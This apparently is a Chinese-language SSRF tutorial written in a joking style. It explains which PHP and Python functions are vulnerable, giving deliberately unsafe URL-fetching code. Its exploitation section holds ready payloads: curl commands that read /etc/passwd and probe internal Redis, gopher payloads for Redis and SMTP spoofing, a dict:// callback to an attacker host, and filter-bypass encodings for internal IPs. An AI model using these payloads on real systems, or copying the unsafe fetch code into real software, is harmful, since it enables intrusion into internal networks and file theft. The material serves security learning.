114514分钟能了解SSRF吗
♿1919810分钟能了解SSRF吗♿
冲刺♿,冲刺♿,冲♿
SSRF是扫码
SSRF,全称Server-Side Request Forgery,服务器端请求伪造
关键词是ip
通过用户输入包含URL的功能/请求参数包含外部资源应用来触发s
说白了就是通过一些方式偷偷的摸进内网视奸
目前有记载的主流的在PHP
说实话其实只要涉及对内网的文件有读取(从自身发起请求),过滤又不充分的都会触发这个漏洞的
PHP
file_get_contents()
fsockopen()
curl_exec()
fopen()
readfile()
先讲第一个
file_get_contents()
$url = $_GET['url'];;
echo file_get_contents($url);
从url这个参数里获取内容,并指定一个文件名进行保存
而file_put_contents是把字符串写入文件当中
fsockopen()
function GetFile($host,$port,$link) {
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
fsockopen函数实现对用户指定url数据的获取,该函数使用socket(端口)跟服务器建立tcp连接,传输数据。变量host为主机名,port为端口,errstr表示错误信息将以字符串的信息返回,30为时限
curl_exec()
cURL这是另一个非常常见的实现,它通过 PHP获取数据。文件/数据被下载并存储在“curled”文件夹下的磁盘中,并附加了一个随机数和“.txt”文件扩展名。
if (isset($_POST['url'])) {
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
curl_exec函数用于执行指定的cURL会话
fopen()readfile()
[!CAUTION]
1.一般情况下PHP不会开启fopen的gopher wrapper
2.file_get_contents的gopher协议不能URL编码
3.file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
4.curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
5.curl_exec() //默认不跟踪跳转,
6.file_get_contents() // file_get_contents支持php://input协议
Python
对python的SSRF不太熟悉,故这里引用大佬的一些内容
在Python中,常用的函数有urllib(urllib2)和requests库。以urllib(urllib2)为例, urllib并不支持gopher,dict协议,所以按照常理来讲ssrf在python中的危害也应该不大,但是当SSRF遇到CRLF,奇妙的事情就发生了。
urllib曾爆出CVE-2019-9740、CVE-2019-9947两个漏洞,这两个漏洞都是urllib(urllib2)的CRLF漏洞,只是触发点不一样,其影响范围都在urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3之间,目前大部分服务器的python2版本都在2.7.10以下,python3都在3.6.x,这两个CRLF漏洞的影响力就非常可观了。其实之前还有一个CVE-2016-5699,同样的urllib(urllib2)的CRLF问题,但是由于时间比较早,影响范围没有这两个大,这里也不再赘叙
python2代码如下:
import sysimport urllib2host = "127.0.0.1:7777?a=1 HTTP/1.1\r\nCRLF-injection: test\r\nTEST: 123"url = "http://"+ host + ":8080/test/?test=a"try: info = urllib2.urlopen(url).info() print(info)except Exception as e:print(e)
利用
一般利用需要以下协议
file
有回显的情况下可以打,读取任意内容
dict
泄露安装软件版本信息,查看端口,操作内网redis服务等
http://test.org/ssrf.php?url=dict://127.0.0.1:6379/info //查看reids相关配置
如果ssrf.php中加上一行屏蔽回显的代码“curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);”,那么这种方式就失效了,和gopher一样,只能利用nc监听端口,反弹传输数据了。
gopher
gopher支持发出GET、POST请求:可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell.
gopher包构造方法
GET包
截取第一行和第二行(全部url编码并且+_)
GET ......
Host ......
实例:
GET /testg.php?name=xxx HTTP/1.1
Host: 10.211.55.2
可以构造为
_%47%45%54%20%2f%74%65%73%74%67%2e%70%68%70%3f%6e%61%6d%65%3d%78%78%78%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a
一定要手工补上换行%0d%0a

POST包
截取以下部分
POST ....
Host ....
Content-Type: application/x-www-form-urlencoded
Content-Length: i
http/s
探测内网主机存活
本地利用:
(1)使用file协议 file protocol (任意文件读取)
curl -vvv "http://target/ssrf.php?url=file:///etc/passwd"
(2)使用dict协议 dict protocol (获取Redis配置信息)
curl -vvv "http://target/ssrf.php?url=dict://127.0.0.1:6379/info"
(3)使用gopher协议(俗称万能协议) gopher protocol (一键反弹Bash)
curl -vvv "http://target/ssrf.php?url=gopher://127.0.0.1:6379/_*1 %0d %0a $8%0d %0aflushall %0d %0a*3 %0d %0a $3%0d
检测端口情况
3306: MySQL
443:tcp
8080:TCP服务端默认端口、JBOSS、TOMCAT、Oracle XDB(XML 数据库)
6379:Redis数据库端口
验证
一般URL上会出现关键字类似于
Share、wap、url、link、src、source、target、u、3g、display、sourceURL、imageURL、domain
排除法
浏览器f12查看源代码看是否是在本地进行了请求
比如:该资源地址类型为 http://www.xxx.com/a.php?image=URL,URL参数若是其他服务器地址就可能存在SSRF漏洞
dnslog等工具进行测试
看是否被访问(可以在盲打后台,用例中将当前准备请求的url和参数编码成base64,这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求)
分析请求的发起端
抓包分析发送的请求是不是通过服务器发送的,如果不是客户端发出的请求,则有可能是存在漏洞。接着找存在HTTP服务的内网地址
- 从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址
- 通过二级域名暴力猜解工具模糊猜测内网地址
- 通过file协议读取内网信息获取相关地址
留意返回信息
直接返回的Banner、title、content等信息
留意布尔型SSRF
通过判断两次不同请求结果的差异来判断是否存在SSRF,类似布尔型sql盲注方法。
WAF
任意指向(xip.io)
http://127.0.0.1.xip.io/==>http://127.0.0.1/
利用[::]
利用[::]绕过localhost
http://[::]:80/ >>> http://127.0.0.1
利用@
http://example.com@127.0.0.1
利用短链接
http://dwz.cn/11SMa >>> http://127.0.0.1
http://sudo.cc >>>http://127.0.0.1
修改类型
修改"type=file"为"type=url"
比如:
上传图片处修改上传,将图片文件修改为URL,即可能触发SSRF
利用Enclosed alphanumerics
利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
利用句号
127。0。0。1 >>> 127.0.0.1
利用进制转换
例如192.168.0.1
C0 A8 00 01
8 进制格式:0300.0250.0.1
16 进制格式:0xC0.0xA8.0.1
10 进制整数格式:3232235521
16 进制整数格式:0xC0A80001
还有一种特殊的省略模式,例如10.0.0.1这个 IP 可以写成10.1
127.0.0.1=>7F 00 00 01
可以是十六进制,八进制等。
115.239.210.26 >>> 16373751032
首先把这四段数字给分别转成16进制,结果:73 ef d2 1a
然后把 73efd21a 这十六进制一起转换成8进制
记得访问的时候加0表示使用八进制(可以是一个0也可以是多个0 跟XSS中多加几个0来绕过过滤一样),十六进制加0x
利用协议
Dict://
dict://<user-auth>@<host>:<port>/d:<word>
ssrf.php?url=dict://attacker:11111/
SFTP://
ssrf.php?url=sftp://example.com:11111/
TFTP://
ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET
LDAP://
ssrf.php?url=ldap://localhost:11211/%0astats%0aquit
Gopher://
ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a